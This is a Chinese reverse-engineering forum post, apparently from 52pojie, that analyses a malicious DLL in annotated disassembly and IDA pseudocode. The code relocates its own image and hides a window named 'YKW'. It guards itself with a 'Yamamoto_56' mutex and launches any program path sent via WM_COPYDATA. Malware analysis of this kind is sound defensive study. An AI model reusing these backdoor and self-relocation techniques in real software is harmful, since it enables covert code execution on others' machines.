02CD0041 85C0 test eax, eax
02CD0043 8945 08 mov dword ptr [ebp+8], eax
02CD0046 74 06 je short 02CD004E
02CD0048 53 push ebx ; 0x4000
02CD0049 57 push edi ; dll基地址
02CD004A 50 push eax ; 新申请的地址
02CD004B FF56 18 call dword ptr [esi+18] ; RtlMoveMomory 把整个dll镜像拷贝新地址
02CD004E 57 push edi ; dll基址
02CD004F FF56 04 call dword ptr [esi+4] ; FreeLibrary 释放dll
02CD0052 837D FC 00 cmp dword ptr [ebp-4], 0
02CD0056 74 1C je short 02CD0074
02CD0058 6A 40 push 40
02CD005A 68 00300000 push 3000
02CD005F 53 push ebx ; 0x4000
02CD0060 57 push edi ; 就用释放前dll基址开始申请
02CD0061 FF56 0C call dword ptr [esi+C] ; VirtualAlloc
02CD0064 3BC7 cmp eax, edi ;隐含edi = eax
如果不相等就跳走了
02CD0066 75 0C jnz short 02CD0074
02CD0068 53 push ebx ; 0x4000 dll镜像大小
02CD0069 FF75 08 push dword ptr [ebp+8] ; 第一次申请的地址
02CD006C 57 push edi ; 第二次申请的新的地址
02CD006D FF56 18 call dword ptr [esi+18] ; RtlMoveMemory 拷贝到新地址
02CD0070 57 push edi ; 还是相当于dll基址,但此时dll已经释放了
02CD0071 FF55 FC call dword ptr [ebp-4] ; 执行原dll中100021a4函数 此函数创建一个 线程, 线程地址为原dll中10002033地址
02CD0074 837D 08 00 cmp dword ptr [ebp+8], 0
02CD0078 5B pop ebx ; ebx 本线程的参数
02CD0079 74 0D je short 02CD0088
02CD007B 68 00800000 push 8000
02CD0080 6A 00 push 0
02CD0082 FF75 08 push dword ptr [ebp+8] ; 第一次申请的地址
02CD0085 FF56 10 call dword ptr [esi+10] ; 释放掉之前申请的
02CD0088 6A 00 push 0
02CD008A FF56 14 call dword ptr [esi+14] ; ExitThread退出本线程
02CD008D 5F pop edi
02CD008E 5E pop esi
02CD008F C9 leave
02CD0090 C2 0400 retn 4 


//上面红色的实际上的调用原dll中sub_100021a4代码
【函数 sub_100021a4】分析:
功能分析:功能非常简单, 创建一个线程, 线程地址是1002033, 参数是dll基址
100021A4 /. 55 push ebp
100021A5 |. 8BEC mov ebp, esp
100021A7 |. 8D45 08 lea eax, dword ptr [ebp+8]
100021AA |. 50 push eax ; /pThreadId
100021AB |. 33C0 xor eax, eax ; |
100021AD |. 50 push eax ; |CreationFlags => 0
100021AE |. FF75 08 push dword ptr [ebp+8] ; |pThreadParm
100021B1 |. 68 33200010 push 10002033 ; |ThreadFunction = 1.10002033
100021B6 |. 50 push eax ; |StackSize => 0
100021B7 |. 50 push eax ; |pSecurity => NULL
100021B8 |. FF15 2C100010 call dword ptr [<&KERNEL32.CreateThre>; \CreateThread
100021BE |. 50 push eax ; /hObject
100021BF |. FF15 94100010 call dword ptr [<&KERNEL32.CloseHandl>; \CloseHandle
100021C5 |. 5D pop ebp
100021C6 \. C2 0400 retn 4 
IDA伪代码如下:
BOOL __stdcall sub_100021A4(LPVOID ThreadId)
{
HANDLE v2; // eax@1

v2 = CreateThread(0, 0, StartAddress, ThreadId, 0, (LPDWORD)&ThreadId);
return CloseHandle(v2);
}

根据我的跟踪调试,上面的红色代码push的地址 就是原dll中 sub_10002033代码
【函数 sub_10002033】分析:(这是附加到Explorer进程调试的 代码一样基址不一样 不影响分析)
功能分析:
①创建一个名为"Yamamoto_56"互斥量,如果互斥量已经存在就返回。
②注册一个窗体类,并创建一个窗体,并将窗体隐藏,窗体WndProc地址是原dll地址sub_10001f91
③调用原dll的函数sub_10001cc6,参数有2个,第一个参数是窗体句柄,第二个参数是1
④设置一个定时器,句柄就是窗体句柄,每3分钟执行一次,定时器ID = 1
⑤创建一个线程,线程地址是原dll函数 sub_10002033,也就是他自己?!自己创建自己地址的线程啊,狠~~~,不过没什么关系, 因为下次的时候,那个互斥量就存在了,然后就返回了.
End:剩下的任务就是分析上面提到的这2个标红的地址函数做了些什么就ok了

02992033 55 push ebp
02992034 8BEC mov ebp, esp
02992036 83EC 6C sub esp, 6C
02992039 56 push esi
0299203A 57 push edi
0299203B 8B7D 08 mov edi, dword ptr [ebp+8] ; 假的dll基址,因为虽然dll被释放了 但整个dll的镜像数据还在 就算是个假dll基址吧
0299203E 33F6 xor esi, esi
02992040 3BFE cmp edi, esi
02992042 74 56 je short 0299209A
02992044 53 push ebx ; ebx 也是镜像基址,搞不懂是怎么传进来的
02992045 33DB xor ebx, ebx
02992047 43 inc ebx
02992048 53 push ebx ; push 1
02992049 8D45 E0 lea eax, dword ptr [ebp-20] ; 栈地址
0299204C 50 push eax ; push 栈地址
0299204D FF15 08109902 call dword ptr [2991008] ; ADVAPI32.InitializeSecurityDescriptor
02992053 56 push esi ; push 0
02992054 56 push esi ; push 0
02992055 53 push ebx ; push 1
02992056 8D45 E0 lea eax, dword ptr [ebp-20] ; 栈地址
02992059 50 push eax ; push 栈地址
0299205A FF15 0C109902 call dword ptr [299100C] ; ADVAPI32.SetSecurityDescriptorDacl
02992060 8D45 E0 lea eax, dword ptr [ebp-20]
02992063 68 70139902 push 2991370 ; ASCII "Yamamoto_56"
02992068 8945 F8 mov dword ptr [ebp-8], eax
0299206B 56 push esi ; push 0
0299206C 8D45 F4 lea eax, dword ptr [ebp-C]
0299206F 50 push eax ; push pSecurity
02992070 C745 F4 0C00000>mov dword ptr [ebp-C], 0C
02992077 895D FC mov dword ptr [ebp-4], ebx
0299207A FF15 18109902 call dword ptr [2991018] ; kernel32.CreateMutexA
02992080 8945 08 mov dword ptr [ebp+8], eax ; 保存互斥句柄
02992083 FF15 1C109902 call dword ptr [299101C] ; ntdll.RtlGetLastWin32Error
02992089 3D B7000000 cmp eax, 0B7 ; GetLastError = 0xb7表示已经存在了
0299208E 75 12 jnz short 029920A2 ; 如果创建成功了,就跳到 0299209f,没成功就返回02992090 FF75 08 push dword ptr [ebp+8]
02992093 FF15 94109902 call dword ptr [2991094] ; kernel32.CloseHandle
02992099 5B pop ebx
0299209A 5F pop edi
0299209B 33C0 xor eax, eax
0299209D 5E pop esi
0299209E C9 leave
0299209F C2 0400 retn 4
029920A2 A1 40119902 mov eax, dword ptr [2991140] ; 字符串 "YKW"
029920A7 68 2A209902 push 299202A ; //一个回调函数地址,此函数就一句话ExitThread
029920AC C745 94 3000000>mov dword ptr [ebp-6C], 30 ; 下面是填充一个结构体
029920B3 C745 98 0300000>mov dword ptr [ebp-68], 3
029920BA C745 9C 911F990>mov dword ptr [ebp-64], 2991F91 ; WndProc地址 
029920C1 8975 A0 mov dword ptr [ebp-60], esi
029920C4 8975 A4 mov dword ptr [ebp-5C], esi
029920C7 897D A8 mov dword ptr [ebp-58], edi
029920CA 8975 B0 mov dword ptr [ebp-50], esi
029920CD 8975 AC mov dword ptr [ebp-54], esi
029920D0 C745 B4 0600000>mov dword ptr [ebp-4C], 6
029920D7 8975 B8 mov dword ptr [ebp-48], esi
029920DA 8945 BC mov dword ptr [ebp-44], eax
029920DD 8975 C0 mov dword ptr [ebp-40], esi
029920E0 FF15 B8109902 call dword ptr [29910B8] ; 添加一个异常处理,防止崩溃
029920E6 68 68139902 push 2991368 ; ASCII "ntdll"
029920EB FF15 28109902 call dword ptr [2991028] ; GetModuleHandle 获得Ntdll基址
029920F1 68 50139902 push 2991350 ; ASCII "ZwUnmapViewOfSection"
029920F6 50 push eax
029920F7 FF15 80109902 call dword ptr [2991080] ; 获得 ZwUnmapViewOfSection地址
029920FD 53 push ebx ; push 1
029920FE A3 00269902 mov dword ptr [2992600], eax
02992103 FF15 20109902 call dword ptr [2991020] ; kernel32.SetErrorMode
02992109 8D45 94 lea eax, dword ptr [ebp-6C]
0299210C 50 push eax
0299210D FF15 F4109902 call dword ptr [29910F4] ; USER32.RegisterClassExA
02992113 56 push esi ; lParam = 0
02992114 57 push edi ; 假dll基址=hInst
02992115 56 push esi ; hMenu
02992116 56 push esi ; hParent
02992117 6A 64 push 64 ; Height
02992119 6A 64 push 64 ; Width
0299211B 56 push esi ; y = 0
0299211C 893D 10269902 mov dword ptr [2992610], edi
02992122 8B47 3C mov eax, dword ptr [edi+3C]
02992125 8B4438 50 mov eax, dword ptr [eax+edi+50] ; 又是取镜像dll基址
02992129 56 push esi ; x = 0
0299212A 68 0000CF00 push 0CF0000 ; Style = WS_OVERLAPPED|WS_MINIMIZEBOX|WS_MAXIMIZEBOX|WS_SYSMENU|WS_THICKFRAME|WS_CAPTION
0299212F A3 14269902 mov dword ptr [2992614], eax
02992134 A1 40119902 mov eax, dword ptr [2991140]
02992139 50 push eax ; push "YKW" WindowName
0299213A 50 push eax ; push "YKW" Class
0299213B 56 push esi ; ExtStyle = 0
0299213C FF15 F8109902 call dword ptr [29910F8] ; USER32.CreateWindowExA
02992142 56 push esi ; Repaint = FALSE
02992143 56 push esi ; Height = 0
02992144 8BF8 mov edi, eax ; Handle
02992146 56 push esi ; Width = 0
02992147 B8 10270000 mov eax, 2710
0299214C 50 push eax ; y = 10000d
0299214D 50 push eax ; x = 10000d
0299214E 57 push edi ; Handle
0299214F FF15 FC109902 call dword ptr [29910FC] ; MoveWindow 藏起来。。。
02992155 56 push esi ; ShowState = SW_HIDE
02992156 57 push edi ; Handle
02992157 FF15 00119902 call dword ptr [2991100] ; USER32.ShowWindow
0299215D 53 push ebx ; push 1
0299215E 57 push edi ; push Handle
0299215F E8 62FBFFFF call 02991CC6 ; 后面有分析
02992164 59 pop ecx
02992165 59 pop ecx
02992166 56 push esi ; lpTimeProc = NULL
02992167 68 20BF0200 push 2BF20 ; uElapse = 180000 即 3分钟
0299216C 53 push ebx ; nIDEvent
0299216D 57 push edi ; Handle句柄
0299216E FF15 04119902 call dword ptr [2991104] ; SetTimer 定时器每3min
02992174 56 push esi
02992175 56 push esi
02992176 56 push esi
02992177 8D45 C4 lea eax, dword ptr [ebp-3C]
0299217A 50 push eax
0299217B FF15 08119902 call dword ptr [2991108] ; USER32.GetMessageA.创建消息泵
02992181 83F8 FF cmp eax, -1
02992184 7C 08 jl short 0299218E
02992186 3BC6 cmp eax, esi
02992188 ^ 0F8E 0BFFFFFF jle 02992099
0299218E 8D45 C4 lea eax, dword ptr [ebp-3C]
02992191 50 push eax
02992192 FF15 0C119902 call dword ptr [299110C] ; USER32.TranslateMessage
02992198 8D45 C4 lea eax, dword ptr [ebp-3C]
0299219B 50 push eax
0299219C FF15 10119902 call dword ptr [2991110] ; USER32.DispatchMessageA
029921A2 ^ EB D0 jmp short 02992174
029921A4 55 push ebp
029921A5 8BEC mov ebp, esp
029921A7 8D45 08 lea eax, dword ptr [ebp+8]
029921AA 50 push eax
029921AB 33C0 xor eax, eax
029921AD 50 push eax
029921AE FF75 08 push dword ptr [ebp+8]
029921B1 68 33209902 push 2992033 ; 又创建了一个线程,注意地址是本函数哦。。。
029921B6 50 push eax
029921B7 50 push eax
029921B8 FF15 2C109902 call dword ptr [299102C] ; CreateThread 又创建了一个线程,就是他自己
029921BE 50 push eax
029921BF FF15 94109902 call dword ptr [2991094] ; kernel32.CloseHandle
029921C5 5D pop ebp
029921C6 C2 0400 retn 4 

【窗体WndProc函数】分析:
功能分析:
这是一个窗体回调函数
①有WM_TIMER消息就直接执行函数 sub_10001CC6 ,这个函数还没开始分析,先不要着急
②有WM_COPYDATA消息,就取COPYDATASTRUCT.lpData这个字符串,然后创建一个进程,如果进程创建成功了,就把定时器杀 掉,当然在创建进程前 会去做 sub_10001F05 后面分析。
End:此窗体回调功能有些变态, 可以执行任意的进程(把exe全路径+参数 发个消息过来就行了), 并能定时去做sub_10001CC6。

.text:10001F91 ; int __stdcall sub_10001F91(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
.text:10001F91 sub_10001F91 proc near ; DATA XREF: StartAddress+87o
.text:10001F91
.text:10001F91 StartupInfo = _STARTUPINFOA ptr -54h
.text:10001F91 ProcessInformation= _PROCESS_INFORMATION ptr -10h
.text:10001F91 hWnd = dword ptr 8
.text:10001F91 Msg = dword ptr 0Ch
.text:10001F91 wParam = dword ptr 10h
.text:10001F91 lParam = dword ptr 14h
.text:10001F91
.text:10001F91 push ebp
.text:10001F92 mov ebp, esp
.text:10001F94 sub esp, 54h
.text:10001F97 cmp [ebp+Msg], 4Ah ;WM_COPYDATA
.text:10001F9B push edi
.text:10001F9C mov edi, [ebp+lParam]
.text:10001F9F jz short loc_10001FB9
.text:10001FA1 cmp [ebp+Msg], 113h ;WM_TIMER
.text:10001FA8 jnz short loc_10002015 
.text:10001FAA push [ebp+wParam]
.text:10001FAD push [ebp+hWnd]
.text:10001FB0 call sub_10001CC6 ;定时器执行这个函数, 下面有分析
.text:10001FB5 pop ecx
.text:10001FB6 pop ecx
.text:10001FB7 jmp short loc_10002015
.text:10001FB9 ; ---------------------------------------------------------------------------
.text:10001FB9
.text:10001FB9 loc_10001FB9: ; CODE XREF: sub_10001F91+Ej
.text:10001FB9 cmp dword ptr [edi], 200h ;COPYDATASTRUCT.dwData == 0x200
.text:10001FBF jnz short loc_10002015 
.text:10001FC1 cmp dword ptr [edi+4], 104h ;COPYDATASTRUCT.dwData == 0x104
.text:10001FC8 jnz short loc_10002015
.text:10001FCA push esi
.text:10001FCB mov esi, [edi+8] ;COPYDATASTRUCT.lpData 是一个字符串地址
.text:10001FCE push esi ; lpFileName
.text:10001FCF call GetFileAttributesA ;判断文件是否存在
.text:10001FD5 cmp eax, 0FFFFFFFFh
.text:10001FD8 jz short loc_10002014
.text:10001FDA lea eax, [ebp+StartupInfo]
.text:10001FDD push eax ; lpStartupInfo
.text:10001FDE call GetStartupInfoA ;获得进程启动信息
.text:10001FE4 or byte ptr [ebp+StartupInfo.dwFlags], 80h;添加 STARTF_FORCEOFFFEEDBACK属
.text:10001FE8 call sub_10001F05 ;调用一个函数, 下面有分析此函数功能
.text:10001FED lea eax, [ebp+ProcessInformation]
.text:10001FF0 push eax ; lpProcessInformation
.text:10001FF1 lea eax, [ebp+StartupInfo]
.text:10001FF4 push eax ; lpStartupInfo
.text:10001FF5 xor eax, eax
.text:10001FF7 push eax ; lpCurrentDirectory
.text:10001FF8 push eax ; lpEnvironment
.text:10001FF9 push eax ; dwCreationFlags
.text:10001FFA push eax ; bInheritHandles
.text:10001FFB push eax ; lpThreadAttributes
.text:10001FFC push eax ; lpProcessAttributes
.text:10001FFD push eax ; lpCommandLine
.text:10001FFE push esi ; lpApplicationName
.text:10001FFF call CreateProcessA ;创建进程,参数是COPYDATASTRUCT.lpData
.text:10002005 test eax, eax
.text:10002007 jz short loc_10002014 ;创建进程成功后会杀掉定时器
.text:10002009 push 1 ; uIDEvent
.text:1000200B push [ebp+hWnd] ; hWnd
.text:1000200E call KillTimer
.text:10002014
.text:10002014 loc_10002014: ; CODE XREF: sub_10001F91+47j
.text:10002014 ; sub_10001F91+76j
.text:10002014 pop esi
.text:10002015
.text:10002015 loc_10002015: ; CODE XREF: sub_10001F91+17j
.text:10002015 ; sub_10001F91+26j ...
.text:10002015 push edi ; lParam
.text:10002016 push [ebp+wParam] ; wParam
.text:10002019 push [ebp+Msg] ; Msg
.text:1000201C push [ebp+hWnd] ; hWnd
.text:1000201F call DefWindowProcA
.text:10002025 pop edi
.text:10002026 leave
.text:10002027 retn 10h
.text:10002027 sub_10001F91 endp

kuwo911 发表于 2012-2-7 21:16
头像被屏蔽
j1angs0ng 发表于 2012-2-7 21:22
哇,长~~看不懂,,顶了~
xiaosanQ 发表于 2012-2-7 21:33
很牛啊
要看懂还要努力
ljy881227 发表于 2012-2-8 10:29
努力学习 汇编争取早日看懂
nofriend 发表于 2012-2-8 14:28
我是来膜拜的!
兔斯基 发表于 2012-2-8 18:23
我彻底膜拜咯1!!!
ljy881227 发表于 2012-2-11 18:52
楼主牛人 不知道啥时候能成这样
曹查理 发表于 2012-2-11 19:03
我都看不懂    要好好学习
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-28 07:36

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表